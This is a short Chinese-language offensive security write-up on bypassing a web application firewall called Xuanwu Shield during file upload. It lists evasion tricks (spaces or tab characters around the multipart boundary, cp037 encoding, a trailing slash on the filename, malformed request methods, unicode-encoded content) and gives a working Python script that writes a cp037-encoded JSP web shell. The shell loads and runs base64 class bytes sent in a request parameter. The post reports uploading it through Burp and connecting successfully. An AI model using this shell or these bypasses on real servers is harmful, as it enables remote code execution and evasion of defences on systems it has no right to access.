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玄武盾的几种绕过姿势
文章链接:玄武盾的几种绕过姿势 (qq.com)
文件名绕过boundary等号前后空格绕过Content-Type: multipart/form-data;
boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3
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boundary等号前后ascii码09绕过 编辑
Cp037编码绕过 编辑
文件名后加/绕过 编辑
畸形请求方法 编辑
文件内容绕过unicode编码 编辑
cp037编码(脚本内置马支持后缀jsp/jspx,都可解析)编码脚本
- #python2data = '''<?xml version="1.0" encoding="cp037"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:declaration> class PERFORM extends ClassLoader { PERFORM(ClassLoader c) { super(c);} public Class bookkeeping(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] branch(String str) throws Exception { Class base64; byte[] value = null; try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str }); } catch (Exception e) { try { base64=Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str }); } catch (Exception ee) {} } return value; } </jsp:declaration> <jsp:scriptlet> String cls = request.getParameter("xxoo"); if (cls != null) { new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response}); } </jsp:scriptlet></jsp:root>'''fcp037 = open('cp037.jsp','wb')![](https://xzfile.aliyuncs.com/media/upload/picture/20220804173607-de2cfbb4-13d8-1.png)fcp037.write(data.encode('cp037'))
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生成出来,burp选择paste from file 编辑
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可以正常连接
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